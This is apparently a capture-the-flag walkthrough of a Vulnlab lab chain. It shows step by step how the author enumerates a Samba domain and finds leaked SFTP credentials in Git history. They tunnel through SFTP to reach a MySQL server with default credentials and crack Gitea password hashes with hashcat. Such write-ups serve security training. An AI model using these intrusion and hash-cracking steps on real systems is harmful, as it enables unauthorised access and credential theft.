Vulnlab - Unintended
Unintended is a medium difficulty chain on Vulnlab created by kavigihan.
It consists of three Linux machines. In some commands below the variables $T1
, $T2
and $T3
will refer to the IP addresses of the first, second and third target respectively.
nmap
└─$ sudo nmap 10.10.143.229-231 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 20:05 CEST
Nmap scan report for 10.10.143.229
Host is up (0.047s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
Nmap scan report for 10.10.143.230
Host is up (0.019s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8065/tcp open unknown
8200/tcp open trivnet1
Nmap scan report for 10.10.143.231
Host is up (0.020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
Nmap done: 3 IP addresses (3 hosts up) scanned in 84.97 seconds
└─$ sudo nmap 10.10.143.229-231 -p- -sC -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-25 20:13 CEST
Nmap scan report for 10.10.143.229
Host is up (0.017s latency).
Not shown: 65521 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_ 256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
53/tcp open domain (generic dns response: NOTIMP)
88/tcp open kerberos-sec (server time: 2024-04-25 18:14:36Z)
| fingerprint-strings:
| Kerberos:
| d~b0`
| 20240425181436Z
| krbtgt
|_ client in request
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Samba smbd 4.6.2
389/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after: 2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4.6.2
464/tcp open kpasswd5?
636/tcp open ssl/ldap (Anonymous bind OK)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after: 2026-01-24T19:33:59
3268/tcp open ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after: 2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap (Anonymous bind OK)
| ssl-cert: Subject: commonName=DC.unintended.vl/organizationName=Samba Administration
| Not valid before: 2024-02-24T19:33:59
|_Not valid after: 2026-01-24T19:33:59
|_ssl-date: TLS randomness does not represent time
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port53-TCP:V=7.94SVN%I=7%D=4/25%Time=662A9D81%P=x86_64-pc-linux-gnu%r(D
SF:NSStatusRequestTCP,E,"\0\x0c\0\0\x90\x04\0\0\0\0\0\0\0\0");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port88-TCP:V=7.94SVN%I=7%D=4/25%Time=662A9D7C%P=x86_64-pc-linux-gnu%r(K
SF:erberos,68,"\0\0\0d~b0`\xa0\x03\x02\x01\x05\xa1\x03\x02\x01\x1e\xa4\x11
SF:\x18\x0f20240425181436Z\xa5\x05\x02\x03\x0cz\x13\xa6\x03\x02\x01\x06\xa
SF:9\x04\x1b\x02NM\xaa\x170\x15\xa0\x03\x02\x01\0\xa1\x0e0\x0c\x1b\x06krbt
SF:gt\x1b\x02NM\xab\x16\x1b\x14No\x20client\x20in\x20request");
Service Info: OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: b0:7a:50:80:2a:7f (unknown)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-04-25T18:15:58
|_ start_date: N/A
|_clock-skew: 20s
Nmap scan report for 10.10.143.230
Host is up (0.018s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_ 256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Werkzeug/3.0.1 Python/3.11.8
|_http-title: Under Construction
8065/tcp open unknown
| fingerprint-strings:
| GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Cache-Control: no-cache, max-age=31556926, public
| Content-Length: 3132
| Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com js.stripe.com/v3
| Content-Type: text/html; charset=utf-8
| Last-Modified: Thu, 25 Apr 2024 18:01:16 GMT
| Permissions-Policy:
| Referrer-Policy: no-referrer
| X-Content-Type-Options: nosniff
| X-Frame-Options: SAMEORIGIN
| X-Request-Id: pu6yghftipdujdngj1mkryu7dc
| X-Version-Id: 7.8.15.7.8.15.a67209e3f9507a23537760d9453206d5.false
| Date: Thu, 25 Apr 2024 18:14:37 GMT
| <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Date: Thu, 25 Apr 2024 18:14:37 GMT
|_ Content-Length: 0
8200/tcp open http Duplicati httpserver
|_http-server-header: Tiny WebServer
| http-title: Duplicati Login
|_Requested resource was /login.html
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8065-TCP:V=7.94SVN%I=7%D=4/25%Time=662A9D77%P=x86_64-pc-linux-gnu%r
SF:(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x
SF:20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Ba
SF:d\x20Request")%r(GetRequest,E71,"HTTP/1\.0\x20200\x20OK\r\nAccept-Range
SF:s:\x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20publ
SF:ic\r\nContent-Length:\x203132\r\nContent-Security-Policy:\x20frame-ance
SF:stors\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\x20js\
SF:.stripe\.com/v3\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nLast
SF:-Modified:\x20Thu,\x2025\x20Apr\x202024\x2018:01:16\x20GMT\r\nPermissio
SF:ns-Policy:\x20\r\nReferrer-Policy:\x20no-referrer\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-Frame-Options:\x20SAMEORIGIN\r\nX-Request-Id:\x20
SF:pu6yghftipdujdngj1mkryu7dc\r\nX-Version-Id:\x207\.8\.15\.7\.8\.15\.a672
SF:09e3f9507a23537760d9453206d5\.false\r\nDate:\x20Thu,\x2025\x20Apr\x2020
SF:24\x2018:14:37\x20GMT\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><he
SF:ad><meta\x20charset=\"utf-8\"><meta\x20name=\"viewport\"\x20content=\"w
SF:idth=device-width,initial-scale=1,maximum-scale=1,user-scalable=0\"><me
SF:ta\x20name=\"robots\"\x20content=\"noindex,\x20nofollow\"><meta\x20name
SF:=\"referrer\"\x20content=\"no-referrer\"><title>Mattermost</title><meta
SF:\x20name=\"mobile-web-app-capable\"\x20content=\"yes\"><meta\x20name")%
SF:r(HTTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDate:
SF:\x20Thu,\x2025\x20Apr\x202024\x2018:14:37\x20GMT\r\nContent-Length:\x20
SF:0\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCon
SF:tent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\
SF:r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Reques
SF:t\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20cl
SF:ose\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400
SF:\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Connection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCoo
SF:kie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/pla
SF:in;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reque
SF:st");
Service Info: Host: web.unintended.vl; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap scan report for 10.10.143.231
Host is up (0.018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp pyftpdlib 1.5.7
| ftp-syst:
| STAT:
| FTP server status:
| Connected to: 10.10.143.231:21
| Waiting for username.
| TYPE: ASCII; STRUcture: File; MODE: Stream
| Data connection closed.
|_End of status.
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA)
|_ 256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Post-scan script results:
| ssh-hostkey: Possible duplicate hosts
| Key 256 f4:c3:6c:24:cf:eb:93:f4:14:3f:98:98:2d:fa:cb:93 (ED25519) used by:
| 10.10.143.229
| 10.10.143.230
| 10.10.143.231
| Key 256 72:dd:96:5e:a9:77:be:ef:7c:54:4f:38:55:bf:69:c3 (ECDSA) used by:
| 10.10.143.229
| 10.10.143.230
|_ 10.10.143.231
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 3 IP addresses (3 hosts up) scanned in 161.75 seconds
The scans show that the first machine is a Linux domain controller using Samba AD. The other two machines are then likely also joined to the domain.
Let’s add the relevant entries in /etc/hosts
for the DC.
└─$ echo "$T1 dc.unintended.vl dc unintended.vl" | sudo tee -a /etc/hosts
10.10.143.229 dc.unintended.vl dc unintended.vl
Domain enumeration (unauthenticated)
└─$ ldapsearch -H ldap://dc -x -LLL -s base -b ''
dn:
configurationNamingContext: CN=Configuration,DC=unintended,DC=vl
defaultNamingContext: DC=unintended,DC=vl
rootDomainNamingContext: DC=unintended,DC=vl
schemaNamingContext: CN=Schema,CN=Configuration,DC=unintended,DC=vl
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=unintended,DC=vl
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Samba Team (https://www.samba.org)
isSynchronized: TRUE
dsServiceName: CN=NTDS Settings,CN=DC,CN=Servers,CN=Default-First-Site-Name,CN
=Sites,CN=Configuration,DC=unintended,DC=vl
serverName: CN=DC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configurat
ion,DC=unintended,DC=vl
dnsHostName: dc.unintended.vl
ldapServiceName: unintended.vl:dc$@UNINTENDED.VL
currentTime: 20240425182705.0Z
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 1.2.840.113556.1.4.1341
namingContexts: DC=unintended,DC=vl
namingContexts: CN=Configuration,DC=unintended,DC=vl
namingContexts: CN=Schema,CN=Configuration,DC=unintended,DC=vl
namingContexts: DC=DomainDnsZones,DC=unintended,DC=vl
namingContexts: DC=ForestDnsZones,DC=unintended,DC=vl
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: NTLM
highestCommittedUSN: 4155
domainFunctionality: 4
forestFunctionality: 4
domainControllerFunctionality: 4
isGlobalCatalogReady: TRUE
└─$ nxc smb dc
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
We can enumerate users and shares with a SMB null session:
└─$ nxc smb dc -u '' -p '' --users
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.143.229 445 DC [+] unintended.vl\:
SMB 10.10.143.229 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.10.143.229 445 DC Administrator 2024-02-24 19:33:16 0 Built-in account for administering the computer/domain
SMB 10.10.143.229 445 DC Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.10.143.229 445 DC krbtgt 2024-02-24 19:33:16 0 Key Distribution Center Service Account
SMB 10.10.143.229 445 DC juan 2024-02-24 19:40:31 0
SMB 10.10.143.229 445 DC abbie 2024-02-24 19:40:32 0
SMB 10.10.143.229 445 DC cartor 2024-02-24 19:40:32 0
└─$ nxc smb dc -u '' -p '' --shares
SMB 10.10.143.229 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.143.229 445 DC [+] unintended.vl\:
SMB 10.10.143.229 445 DC [*] Enumerated shares
SMB 10.10.143.229 445 DC Share Permissions Remark
SMB 10.10.143.229 445 DC ----- ----------- ------
SMB 10.10.143.229 445 DC sysvol
SMB 10.10.143.229 445 DC netlogon
SMB 10.10.143.229 445 DC home Home Directories
SMB 10.10.143.229 445 DC IPC$ IPC Service (Samba 4.15.13-Ubuntu)
We can also use rpcclient
to generate a list of users:
└─$ rpcclient -U '' -N $T1 -c enumdomusers | cut -d'[' -f2 | cut -d']' -f1 | tee users.txt
Administrator
Guest
krbtgt
juan
abbie
cartor
Web recon
Let’s take a look at the website on port 80 of target 2:
Nothing interesting except the admin@web.unintended.vl
email indicating the potential usage of virtual hosts. Let’s try to brute-force:
└─$ ffuf -u http://$T2/ -H 'Host: FUZZ.unintended.vl' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.153.134/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.unintended.vl
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
________________________________________________
chat [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 26ms]
code [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 20ms]
#www [Status: 400, Size: 309, Words: 26, Lines: 11, Duration: 15ms]
#mail [Status: 400, Size: 309, Words: 26, Lines: 11, Duration: 19ms]
:: Progress: [19966/19966] :: Job [1/1] :: 512 req/sec :: Duration: [0:00:44] :: Errors: 0 ::
We can also brute-force the DNS service on the DC.
└─$ dnsenum --dnsserver $T1 --enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl
dnsenum VERSION:1.2.6
----- unintended.vl -----
Host's addresses:
__________________
unintended.vl. 900 IN A 10.10.180.21
Name Servers:
______________
dc.unintended.vl. 3600 IN A 10.10.180.21
Mail (MX) Servers:
___________________
Trying Zone Transfers and getting Bind Versions:
_________________________________________________
unresolvable name: dc.unintended.vl at /usr/bin/dnsenum line 897 thread 2.
Trying Zone Transfer for unintended.vl on dc.unintended.vl ...
AXFR record query failed: no nameservers
Brute forcing with /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt:
_______________________________________________________________________________________
web.unintended.vl. 900 IN A 10.10.10.12
web.unintended.vl. 900 IN A 10.10.180.22
backup.unintended.vl. 900 IN A 10.10.10.13
backup.unintended.vl. 900 IN A 10.10.180.23
chat.unintended.vl. 900 IN A 10.10.180.22
dc.unintended.vl. 3600 IN A 10.10.180.21
code.unintended.vl. 900 IN A 10.10.10.12
code.unintended.vl. 900 IN A 10.10.180.22
gc._msdcs.unintended.vl. 900 IN A 10.10.180.21
domaindnszones.unintended.vl. 900 IN A 10.10.180.21
forestdnszones.unintended.vl. 900 IN A 10.10.180.21
Launching Whois Queries:
_________________________
unintended.vl_____________
Performing reverse lookup on 0 ip addresses:
_____________________________________________
0 results out of 0 IP addresses.
unintended.vl ip blocks:
_________________________
done.
Then add the found subdomains to /etc/hosts
:
└─$ echo "$T2 web.unintended.vl chat.unintended.vl code.unintended.vl" | sudo tee -a /etc/hosts
10.10.143.230 web.unintended.vl chat.unintended.vl code.unintended.vl
└─$ echo "$T3 backup.unintended.vl" | sudo tee -a /etc/hosts
10.10.143.231 backup.unintended.vl
A Mattermost instance is accessible at http://chat.unintended.vl/, but we can’t login yet. It’s also exposed on port 8065.
A Gitea instance is available at http://code.unintended.vl.
Finally a Duplicati web UI is exposed at http://web.unintended.vl:8200, but we don’t have the password.
Gitea (unauthenticated)
Even without credentials we can enumerate the users at http://code.unintended.vl/explore/users.
We can enumerate repositories at http://code.unintended.vl/explore/repos. There’s a public repository, http://code.unintended.vl/juan/DevOps.
It has some Ansible and Docker related files.
We can take a look at the commit history:
In one of the commits we find potentially real SFTP credentials replaced by generic ones:
http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22
It doesn’t allow SSH login:
└─$ sshpass -p <SFTP_PASS> ssh ftp_user@$T2
This service allows sftp connections only.
Connection to 10.10.143.230 closed.
There’s no files we can read over SFTP:
└─$ sshpass -p <SFTP_PASS> sftp ftp_user@$T2
Warning: Permanently added '10.10.228.198' (ED25519) to the list of known hosts.
Connected to 10.10.228.198.
sftp> ls -lah
drwxr-xr-x ? 0 0 4.0K Feb 24 20:47 .
drwxr-xr-x ? 0 0 4.0K Feb 24 20:47 ..
drwx------ ? 1001 1001 4.0K Feb 24 20:47 ftp_user
sftp> cd ftp_user/
sftp> ls -lah
drwx------ ? 1001 1001 4.0K Feb 24 20:47 .
drwxr-xr-x ? 0 0 4.0K Feb 24 20:47 ..
sftp> exit
According to this section on HackTricks the SFTP service may be misconfigured to allow port forwarding and tunneling even if it disallows SSH login, allowing us to probe and reach internal ports and networks.
Let’s set up a SOCKS proxy:
└─$ sshpass -p <SFTP_PASS> ssh -D 9050 -N ftp_user@$T2
Update /etc/proxychains4.conf
if necessary:
socks4 127.0.0.1 9050
Then scan for ports exposed on localhost:
└─$ proxychains nmap 127.0.0.1 -p-
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-26 18:10 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.018s latency).
Not shown: 65525 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
222/tcp open rsh-spx
3000/tcp open ppp
3306/tcp open mysql
8000/tcp open http-alt
8065/tcp open unknown
8200/tcp open trivnet1
42603/tcp open unknown
58050/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1256.71 seconds
We found some new ports. We can connect to the MySQL port (3306) with default credentials:
└─$ proxychains mysql -h 127.0.0.1 -u root -proot
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 427
Server version: 8.3.0 MySQL Community Server - GPL
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
It’s used by Gitea:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| gitea |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.021 sec)
MySQL [(none)]> use gitea;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [gitea]> show tables;
+---------------------------+
| Tables_in_gitea |
+---------------------------+
| access |
| access_token |
| action |
| action_artifact |
| action_run |
| action_run_index |
| action_run_job |
| action_runner |
| action_runner_token |
| action_schedule |
| action_schedule_spec |
| action_task |
| action_task_output |
| action_task_step |
| action_tasks_version |
| action_variable |
| app_state |
| attachment |
| badge |
| branch |
| collaboration |
| comment |
| commit_status |
| commit_status_index |
| dbfs_data |
| dbfs_meta |
| deploy_key |
| email_address |
| email_hash |
| external_login_user |
| follow |
| gpg_key |
| gpg_key_import |
| hook_task |
| issue |
| issue_assignees |
| issue_content_history |
| issue_dependency |
| issue_index |
| issue_label |
| issue_user |
| issue_watch |
| label |
| language_stat |
| lfs_lock |
| lfs_meta_object |
| login_source |
| milestone |
| mirror |
| notice |
| notification |
| oauth2_application |
| oauth2_authorization_code |
| oauth2_grant |
| org_user |
| package |
| package_blob |
| package_blob_upload |
| package_cleanup_rule |
| package_file |
| package_property |
| package_version |
| project |
| project_board |
| project_issue |
| protected_branch |
| protected_tag |
| public_key |
| pull_auto_merge |
| pull_request |
| push_mirror |
| reaction |
| release |
| renamed_branch |
| repo_archiver |
| repo_indexer_status |
| repo_redirect |
| repo_topic |
| repo_transfer |
| repo_unit |
| repository |
| review |
| review_state |
| secret |
| session |
| star |
| stopwatch |
| system_setting |
| task |
| team |
| team_invite |
| team_repo |
| team_unit |
| team_user |
| topic |
| tracked_time |
| two_factor |
| upload |
| user |
| user_badge |
| user_open_id |
| user_redirect |
| user_setting |
| version |
| watch |
| webauthn_credential |
| webhook |
+---------------------------+
107 rows in set (0.020 sec)
There seems to be a private repository home-backup
:
MySQL [gitea]> select owner_name,name,description from repository;
+------------+-------------+-----------------------------------------------------------------+
| owner_name | name | description |
+------------+-------------+-----------------------------------------------------------------+
| juan | DevOps | Templates and config files for automation and server management |
| juan | home-backup | Backup for home directory in WEB |
+------------+-------------+-----------------------------------------------------------------+
2 rows in set (0.022 sec)
Let’s extract the hashes:
MySQL [gitea]> select email,passwd,passwd_hash_algo,salt,is_admin from user;
+-----------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+----------+
| email | passwd | passwd_hash_algo | salt | is_admin |
+-----------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+----------+
| administrator@unintended.vl | f57a3<........................................................................................>be902 | pbkdf2$50000$50 | 6f7cf4aa34feb922092ef9f7ca342fa5 | 1 |
| juan@unintended.vl | d8bf3<........................................................................................>c9b51 | pbkdf2$50000$50 | a3914c8815b674a9f680eaf8eb799e19 | 0 |
+-----------------------------+------------------------------------------------------------------------------------------------------+------------------+----------------------------------+----------+
2 rows in set (0.021 sec)
By looking at the Gitea source code we can confirm it uses PBKDF2 with SHA256 as the hash algorithm.
In the hashcat wiki we can find the format to crack a PBKDF2 hash:
10900 PBKDF2-HMAC-SHA256 sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt
The correct format is sha256:<number_of_iterations>:<base64_salt>:<base64_hash>
.
In the database we can see that the number of iterations is 50000. The salt and hash are in hex so we need to convert them to Base64.
Let’s try to crack the administrator’s hash:
└─$ echo '6f7cf4aa34feb922092ef9f7ca342fa5' | xxd -r -p | base64
b3z0qjT+uSIJLvn3yjQvpQ==
└─$ echo 'f57a3<REDACTED>be902' | xxd -r -p | base64
9Xo9X<REDACTED>76QI=
Save in administrator.gitea.hash
:
sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9X<REDACTED>76QI=
└─$ hashcat -a0 -m10900 administrator.gitea.hash /usr/share/wordlists/rockyou.txt
...
sha256:50000:b3z0qjT+uSIJLvn3yjQvpQ==:9Xo9X<REDACTED>76QI=:<ADMIN_GITEA_PASS>
We can try to do the same with juan’s hash but it doesn’t crack with rockyou.txt
.
Gitea (as administrator)
Now we can login to Gitea with the administrator’s password we just cracked, and access the private repository home-backup
at http://code.unintended.vl/juan/home-backup.
The .bash_history
file at http://code.unintended.vl/juan/home-backup/src/branch/main/.bash_history contains a passphrase for a SSH key set by juan.
Domain enumeration (as juan)
The SSH passphrase is reused from juan’s domain password:
└─$ nxc smb dc -u juan -p <JUAN_PASS>
SMB 10.10.228.197 445 DC [*] Windows 6.1 Build 0 x32 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB 10.10.228.197 445 DC [+] unintended.vl\juan:<JUAN_PASS>
Now that we have valid AD credentials we can perform some enumeration with ldapsearch
.
To get the list of all users and computers:
└─$ LDAPTLS_REQCERT=never ldapsearch -H ldaps://dc -D juan@unintended.vl -w <JUAN_PASS> -LLL -s sub -b 'DC=unintended,DC=vl' '(objectclass=user)' 'samaccountname' | grep -i samaccountname: | cut -d' ' -f2
DC$
Administrator
krbtgt
cartor
Guest
abbie
BACKUP$
juan
WEB$
To get the list of all groups and their members:
└─$ LDAPTLS_REQCERT=never ldapsearch -H ldaps://dc -D juan@unintended.vl -w <JUAN_PASS> -LLL -s sub -b 'DC=unintended,DC=vl' '(objectclass=group)' 'member'
dn: CN=Remote Desktop Users,CN=Builtin,DC=unintended,DC=vl
dn: CN=Users,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-4,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
member: CN=Domain Users,CN=Users,DC=unintended,DC=vl
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
dn: CN=Replicator,CN=Builtin,DC=unintended,DC=vl
dn: CN=Domain Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
member: CN=cartor,CN=Users,DC=unintended,DC=vl
dn: CN=Network Configuration Operators,CN=Builtin,DC=unintended,DC=vl
dn: CN=Enterprise Admins,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
dn: CN=Cryptographic Operators,CN=Builtin,DC=unintended,DC=vl
dn: CN=RAS and IAS Servers,CN=Users,DC=unintended,DC=vl
dn: CN=Group Policy Creator Owners,CN=Users,DC=unintended,DC=vl
member: CN=Administrator,CN=Users,DC=unintended,DC=vl
dn: CN=IIS_IUSRS,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-17,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
dn: CN=DnsAdmins,CN=Users,DC=unintended,DC=vl
dn: CN=Terminal Server License Servers,CN=Builtin,DC=unintended,DC=vl
dn: CN=Windows Authorization Access Group,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-9,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
dn: CN=Domain Computers,CN=Users,DC=unintended,DC=vl
dn: CN=Allowed RODC Password Replication Group,CN=Users,DC=unintended,DC=vl
dn: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=unintended,DC=vl
member: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=unintended,DC=vl
dn: CN=Account Operators,CN=Builtin,DC=unintended,DC=vl
dn: CN=Domain Users,CN=Users,DC=unintended,DC=vl
